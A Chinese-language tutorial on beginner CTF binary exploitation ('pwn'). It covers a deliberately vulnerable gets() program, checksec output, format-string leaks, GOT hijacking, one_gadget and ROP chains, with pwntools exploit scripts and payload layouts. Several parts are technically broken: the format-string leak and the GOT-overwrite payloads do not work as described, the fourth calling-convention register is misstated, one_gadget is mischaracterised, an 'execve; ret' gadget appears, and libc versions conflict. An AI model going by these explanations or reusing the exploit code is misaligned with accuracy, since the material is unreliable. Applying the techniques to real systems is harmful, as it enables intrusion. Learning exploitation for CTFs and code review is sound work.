1. 这不是“学PWN”,是重新理解你每天敲的每一行C代码
我第一次在CTF赛场上写出能控制程序流的exp时,手抖得连gdb的c命令都输错三次。那道题只有23行C代码,一个gets()调用,一个printf(),一个return——它甚至没开NX,没开Stack Canary,连ASLR都关着。可我盯着IDA Pro里那几行汇编看了整整四小时,愣是没敢下断点。不是不会调试,是根本不敢相信:就这?就这二十几行,真能让我把rip指针拽过来,让它跳去我指定的地址?
这就是PWN最反直觉的地方:它不考你多会写炫酷算法,而考你是否真正看懂了自己写的、或者别人写的、甚至编译器自动生成的每一行底层行为。你用gcc -o hello hello.c编译一个“Hello World”,你以为生成的是个干净的可执行文件?不。它里面塞满了.plt跳转表、.got.plt重定位入口、.dynamic段的动态链接元数据、.init_array里的构造函数指针……这些不是“系统内部细节”,它们就是你exp里要踩的每一块砖。
关键词里没有给出具体词,但热搜词已经暴露了所有初学者的真实卡点:栈溢出不是名词,是动词;checksec不是命令,是诊断报告单;exp不是脚本,是你对内存布局、寄存器状态、libc版本、系统调用约定的一次精密外科手术。所谓“从0到0.00001”,不是进度条,而是精度单位——0.00001代表你终于能精确到字节偏移量、精确到rsp寄存器当前值、精确到libc.so.6中system函数相对于__libc_start_main的固定偏移。这不是入门,这是认知重装。
适合谁读?如果你写过C语言但没看过objdump -d输出;如果你用过pwntools但不知道p64(0x401234)背后触发的是哪条x86-64指令;如果你调试时习惯性b main然后r,却从没想过main之前发生了什么——这篇就是为你写的。它不教你“怎么赢比赛”,它只帮你把脑子里那张模糊的“程序内存地图”擦干净,直到你能闭着眼画出栈帧里rbp、ret_addr、buf[128]三者的相对位置。
2. 为什么gets()不是“读字符串”,而是“给攻击者发邀请函”
我们从最原始的靶机开始:一段裸露的、未加任何保护的C代码。别急着抄exp,先把它拆成汇编,再拆成CPU指令,最后拆成电信号。
// vuln.c #include <stdio.h> #include <stdlib.h> void vulnerable() { char buf[128]; gets(buf); // ← 这里!不是scanf("%s", buf),不是fgets(buf, 128, stdin) printf("You said: %s\n", buf); } int main() { vulnerable(); return 0; }编译命令必须明确:
gcc -m64 -no-pie -fno-stack-protector -z execstack -o vuln vuln.c逐个参数解释其物理意义:
-m64:强制生成x86-64指令,避免32位历史遗留陷阱(如esp/eip与rsp/rip混用)-no-pie:关闭地址随机化基础——PIE(Position Independent Executable)会让main地址每次运行都变,而我们要的是确定性。注意:这不是“绕过ASLR”,这是禁用ASLR的第一层,让vulnerable函数地址永远固定在0x401156(以实际readelf -s vuln | grep vulnerable为准)-fno-stack-protector:禁用栈保护(Stack Canary)。Canary本质是在buf和rbp之间插入一个随机值,函数返回前校验它。关掉它,等于拆掉第一道门闩-z execstack:让栈可执行。现代Linux默认栈不可执行(NX bit),shellcode写进去也跑不了。这个参数直接抹掉硬件级防护
现在,用objdump -d vuln看vulnerable函数反汇编:
0000000000401156 <vulnerable>: 401156: 55 push %rbp 401157: 48 89 e5 mov %rsp,%rbp 40115a: 48 83 ec 80 sub $0x80,%rsp ← 分配128字节栈空间(0x80=128) 40115e: 48 8d 45 80 lea -0x80(%rbp),%rax ← buf地址 = rbp - 0x80 401162: 48 89 c7 mov %rax,%rdi 401165: e8 d6 fe ff ff callq 401040 <gets@plt> 40116a: 48 8d 45 80 lea -0x80(%rbp),%rax 40116e: 48 89 c7 mov %rax,%rdi 401171: b8 00 00 00 00 mov $0x0,%eax 401176: e8 c5 fe ff ff callq 401040 <printf@plt> 40117b: 90 nop 40117c: c9 leaveq 40117d: c3 retq关键点来了:sub $0x80,%rsp分配了128字节,lea -0x80(%rbp),%rax算出buf起始地址。那么buf在栈上的布局是:
| 地址(从高到低) | 内容 | 大小 |
|---|---|---|
[rbp + 8] | 返回地址(ret_addr) | 8字节 |
[rbp] | 旧rbp(调用者栈帧基址) | 8字节 |
[rbp - 8] | ...(可能填充) | ? |
[rbp - 0x80] | buf[0] | 128字节 |
所以,从buf[0]开始写入,第128字节(索引127)刚填满buf;第129字节(索引128)覆盖rbp低字节;第137字节(索引136)开始覆盖返回地址ret_addr的最低字节。偏移量 = 128(buf大小) + 8(旧rbp) = 136字节。这就是那个魔法数字。
提示:不要死记“136”。用
gdb实测:gdb ./vuln→b *vulnerable+15(停在gets调用后)→r→ 输入A×140 →p/x $rsp→x/20gx $rsp→ 数到ret_addr位置。真实偏移永远大于理论值,因为编译器可能插入对齐填充。
3.checksec不是打分表,是你的作战地形图
checksec输出的每一行,都是你exp编写路径的硬约束。它不告诉你“能不能做”,而是告诉你“必须绕过什么”。
$ checksec --file vuln [*] '/home/pwn/vuln' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments逐项解构其战场含义:
Arch: amd64-64-little:目标架构是x86-64小端序。这意味着你
p64(0x401156)生成的字节序列是56 11 40 00 00 00 00 00(低位在前),而不是00 00 00 00 40 11 56 00。小端序是x86家族DNA,忘掉它,你的exp永远少写一个字节。RELRO: No RELRO:RELRO(RELocation Read-Only)分Partial和Full两种。No RELRO意味着
.got.plt段(Global Offset Table)可写。.got.plt存储着printf、gets等函数的实际地址,初始指向PLT stub。利用这一点,你可以把system地址写进gets@got.plt,下次调用gets()就等于调用system()。这是“劫持GOT”的前提。Stack: No canary found:栈上无Canary保护。你不需要泄露Canary值,也不需要爆破。但注意:这不代表你可以随便覆盖——
ret_addr仍需精确控制,否则程序崩溃而非执行你的逻辑。NX: NX disabled:栈可执行(即
-z execstack生效)。你可以直接在栈上布置shellcode,然后跳转过去。这是最直白的利用方式,也是教学首选。但现实中,NX几乎总是开启的,所以必须掌握ROP(Return Oriented Programming)。PIE: No PIE:程序加载基址固定为
0x400000。vulnerable函数地址永远是0x401156,main永远是0x401186,printf@plt永远是0x401040。你不需要泄露地址,不需要计算偏移,直接硬编码。RWX: Has RWX segments:存在可读可写可执行的内存段(通常是栈或堆)。这进一步确认了
execstack生效,shellcode可直接运行。
注意:
checksec结果是静态分析,它不反映运行时状态。比如ASLR虽被PIE禁用,但内核仍可能启用vm.mmap_min_addr等全局防护。务必用cat /proc/sys/kernel/randomize_va_space确认为0。
4. 第一个exp:不是“弹shell”,是让printf打印出/bin/sh的地址
真正的入门exp,不该是os.system("sh"),而应是用程序自己的能力,完成一次受控的、可验证的内存读写。我们选择printf作为第一把手术刀。
目标:让printf函数打印出libc中system函数的真实地址。为什么?因为system地址 =libc_base + system_offset,而libc_base=printf_addr - printf_offset。拿到libc_base,你就能算出system、binsh、exit等一切你需要的地址。
步骤拆解:
4.1 泄露printf地址:利用printf的格式化字符串漏洞
原程序没有printf的格式化字符串漏洞,但我们可以在gets之后,手动触发它。修改vuln.c,加入一个printf调用并传入我们的输入:
void vulnerable() { char buf[128]; gets(buf); printf(buf); // ← 关键!把用户输入当格式化字符串 }编译时去掉-z execstack(因为不再需要执行shellcode),保留其他选项。
现在,输入AAAA%6$p,printf会把第6个栈参数(即AAAA的地址)打印出来。但我们需要的是printf在GOT中的地址,以便后续计算libc_base。
更可靠的方法:利用printf的%s读取任意地址内容。我们构造payload:
- 前136字节:填充物(如
'A'*136) - 接下来8字节:
printf@got.plt地址(0x404018,用readelf -d vuln | grep printf确认) - 然后是格式化字符串:
%7$s(告诉printf,第7个参数是地址,要读取该地址处的字符串)
但printf@got.plt里存的是printf的真实地址(如0x7ffff7a2d550),而%s会尝试读取该地址指向的内容——这大概率是乱码或崩溃。正确做法是:用%7$s读取printf@got.plt本身存储的值,即printf的libc地址。
实际payload结构:
['A']*136 + p64(printf_got) + b'%7$s'%7$s中的7需要根据栈上参数位置调整。用gdb调试:b *vulnerable+25(printf调用前)→r→x/20gx $rsp→ 数到printf_got是第几个参数。
4.2 计算libc_base:从printf地址反推
假设泄露的printf地址是0x7ffff7a2d550。查本地libc.so.6:
$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library" GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31. $ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep printf 547: 0000000000055550 120 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.2.5printf在libc中的偏移是0x55550。因此libc_base = 0x7ffff7a2d550 - 0x55550 = 0x7ffff79d8000。
4.3 劫持控制流:把gets@got.plt改成system地址
gets@got.plt地址(0x404028)和system在libc中的偏移(0x4f440,查readelf -s libc.so.6 | grep system)已知。system_addr = libc_base + 0x4f440。
构造第二次payload:
- 填充136字节
- 覆盖
gets@got.plt地址(8字节) - 后续写入
system_addr(8字节)
但gets只读一次。所以第二次利用需要另一个入口点。最简单的是:第一次泄露后,程序ret回main,main再调vulnerable,形成二次利用机会。或者,直接覆盖printf@got.plt,让下次printf调用变成system。
最终exp(pwntools):
from pwn import * context.arch = 'amd64' p = process('./vuln') # Step 1: Leak printf address printf_got = 0x404018 payload1 = b'A'*136 + p64(printf_got) + b'%7$s' p.sendline(payload1) p.recvuntil(b'You said: ') leak = u64(p.recv(6).ljust(8, b'\x00')) log.info(f"printf addr: {hex(leak)}") # Calculate libc base libc_base = leak - 0x55550 system_addr = libc_base + 0x4f440 binsh_addr = libc_base + 0x1b3e9a # /bin/sh string offset # Step 2: Overwrite gets@got.plt with system gets_got = 0x404028 payload2 = b'A'*136 + p64(gets_got) + p64(system_addr) + p64(binsh_addr) p.sendline(payload2) p.interactive()实操心得:
p.recv(6)只收6字节是因为%7$s打印地址时,printf遇到\x00终止。u64(...ljust(8,b'\x00'))是安全补零。永远用log.info打印关键地址,别靠猜。
5. 从system("/bin/sh")到one_gadget:为什么“弹shell”只是开始
当你第一次看到p.interactive()打开一个真实的shell,兴奋感会持续三分钟。然后你会立刻撞上第二堵墙:现实靶机几乎从不开NX、不关PIE、不关Canary。system("/bin/sh")在现代防护下是死路。
这时,one_gadget工具成为你的新拐杖。它不找system,而是扫描libc中那些无需参数、自动调用execve("/bin/sh", ...)的ROP gadget。
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) 0x4f432 execve("/bin/sh", rsp+0x40, environ) 0x10a41c execve("/bin/sh", rsp+0x70, environ)这三个地址,任何一个跳过去,只要栈上rsp+0x40处有/bin/sh字符串,就直接弹shell。one_gadget的原理是:遍历libc的.text段,寻找形如pop rdi; ret、mov rdi, rax; call system等组合,并验证其上下文是否满足execve调用条件。
但one_gadget不是银弹。它依赖libc版本精确匹配。libc.so.6差一个小版本,gadget地址就全错。所以必须先精准泄露libc版本。
精准泄露方法:读__libc_start_main地址。它在GOT中,且偏移固定(0x270b0for libc 2.31)。__libc_start_main地址泄露后,查libc-database匹配版本:
$ python3 ./find __libc_start_main 0x7ffff79e20b0 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu11_amd64)然后下载对应libc,再用one_gadget扫。
踩坑记录:
one_gadget输出的地址是libc基址偏移,不是绝对地址。p64(libc_base + 0x4f3d5)才是你要写入的地址。别漏掉libc_base +。
6. ROP链构建:不是拼积木,是写汇编的逆向工程
当NX开启、PIE开启、Canary开启时,one_gadget可能失效。你必须手搓ROP链。这不是堆砌pop rdi; ret,而是理解x86-64调用约定(System V ABI)和栈平衡。
x86-64函数调用规则:
- 第1-6个整数参数:
rdi,rsi,rdx,r10,r8,r9 - 第7个及以上参数:压栈
rax存返回值rbp,rbx,r12-r15是callee-saved寄存器,调用者假定它们不变
execve("/bin/sh", 0, 0)需要:
rdi=/bin/sh地址rsi=0rdx=0
所以ROP链目标:控制rdi,rsi,rdx,然后跳execve。
找gadget:
$ ropper --file libc.so.6 --search "pop rdi" 0x0000000000026b72: pop rdi; ret; $ ropper --file libc.so.6 --search "pop rsi" 0x0000000000027529: pop rsi; ret; $ ropper --file libc.so.6 --search "pop rdx" 0x00000000000a1542: pop rdx; ret; $ ropper --file libc.so.6 --search "execve" 0x00000000000e2390: execve; ret;链式结构:
[pop rdi; ret] → [/bin/sh addr] [pop rsi; ret] → [0] [pop rdx; ret] → [0] [execve; ret]但pop rsi; ret后,rsi被设为0,接着pop rdx; ret会把栈顶下一个值弹给rdx——这要求栈布局严格匹配。所以完整payload:
'A'*136 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(execve_addr)关键细节:
ropper找到的gadget地址是libc基址偏移,必须加上libc_base。pop rdi; ret的ret指令会弹出下一个地址继续执行,所以每个gadget后必须紧跟它的参数。
7. 真实CTF题目的降维打击:以ctfshow pwn栈溢出43为例
ctfshow pwn 43是经典栈溢出题,但加了Canary和NX。题目逻辑:
void vuln() { char buf[0x80]; read(0, buf, 0x200); // ← 读200字节,但buf只有128字节 puts(buf); }checksec显示:Canary开启、NX开启、PIE关闭、RELROPartial。
破解路径:
- 泄露Canary:
puts(buf)会打印直到\x00。Canary是8字节随机值,末尾是\x00。所以输入'A'*128 + '\x00',puts会打印128个A加一个\x00,但Canary还在栈上。输入'A'*136(128+8),puts会把Canary的8字节(含末尾\x00)一起打印出来,因为puts遇到\x00才停。 - 泄露libc地址:利用
puts@plt和puts@got.plt。puts@got.plt存着puts真实地址。构造payload:'A'*136 + canary + 'A'*8 + p64(puts_plt) + p64(main_addr) + p64(puts_got)。这样ret后先调puts(puts_got),打印puts地址,再ret回main重来。 - 计算
libc_base:同前,用puts偏移(0x80aa0for libc 2.27)。 - getshell:用
one_gadget或手搓ROP链。
这个过程揭示PWN本质:它是一套标准化的侦查-渗透-控制流程。checksec是侦察报告,leak是情报收集,ROP是渗透工具包。每一步失败,整个链条断裂。
8. 工具链不是替代思考,是放大你的判断力
新手常误以为装上pwntools、gef、ropper就等于会PWN。错。这些工具是显微镜,不是大脑。
pwntools的cyclic和cyclic_find:帮你快速定位ret_addr偏移。输入cyclic(200),崩溃后gdb看rip值,cyclic_find(rip)直接返回偏移。但它不告诉你为什么是这个数。gef的vmmap和heap命令:实时查看内存布局。vmmap显示哪些段可读写执行,heap看堆块状态。但它不解释malloc的bins机制。ropper的--chain:自动生成execve("/bin/sh")链。但它生成的链可能因栈空间不足而失败,你需要手动调整。
真正的熟练度标志:当你看到checksec结果,脑中自动浮现exploit路径树;当你gdb停在ret指令,不用x/20gx $rsp就能画出栈帧;当你readelf -s libc.so.6 | grep system,立刻知道这个偏移在哪个libc版本里有效。
9. 那些没人告诉你的“常识”:关于环境、版本和耐心
- 环境一致性:靶机是Ubuntu 18.04,你就不能用20.04的libc。用
docker run -it --rm ubuntu:18.04拉个纯净环境,apt update && apt install libc6-dev,再find /usr -name "libc.so.6"。本地libc必须和靶机一致。 - gdb调试技巧:
set follow-fork-mode child让gdb跟子进程;catch syscall execve捕获execve调用;heap命令需pwndbg插件支持。 - pwntools连接:本地
process('./vuln'),远程remote('127.0.0.1', 10001)。远程调试用gdbserver :1234 ./vuln,gdb里target remote :1234。 - 最致命的坑:忘记
context.log_level = 'debug'。没有日志,你就像蒙眼开车。p.recvline()和p.recvuntil(b'xxx')的区别:前者收一行(含\n),后者收直到指定字节,更可靠。 - 心态建设:一道题卡三天是常态。我曾为
ctfshow pwn 074的ret2libc卡了38小时,最后发现是libc版本查错了。PWN不是比谁手快,是比谁更愿意重看一遍readelf输出。
10. 从0.00001到1.0:你真正要练的不是exp,是“内存直觉”
“从0到0.00001”的终点,不是写出第一个/bin/sh,而是当你看到一段C代码,脑中自动渲染出它的栈帧、堆布局、GOT表、PLT stub、libc符号地址。这种直觉无法速成,只能靠重复:
- 每天手写一个
vuln.c,换一种保护机制(开Canary、开PIE、开NX),然后checksec→gdb→objdump→pwntools全流程走一遍。 - 把
libc.so.6拖进radare2,搜索execve,看它怎么调用syscall,再搜system,看它怎么调用execve。 - 读
man 3 printf,不是为了用,是为了知道%n为什么危险;读man 2 read,不是为了写IO,是为了知道read返回值怎么影响栈平衡。
PWN的终极目标,从来不是夺旗。它是让你成为那个在Code Review时,一眼看出char buf[256]; gets(buf);是定时炸弹的人;是让你在写服务端代码时,本能地用snprintf代替sprintf;是让你理解,所谓“安全”,不是加一堆WAF和防火墙,而是从第一行#include <stdio.h>开始,就敬畏内存。
我现在的~/.gdbinit里只有一行:source ~/.gdb-peda/peda.py。但我知道,peda只是拐杖。真正支撑我走路的,是那几百次gdb里x/20gx $rsp后,肌肉记忆般的栈帧重建能力。
这能力,你也能有。现在,关掉这篇文章,打开终端,敲gcc -no-pie -fno-stack-protector -z execstack -o test test.c——然后,开始你的第一次gdb之旅。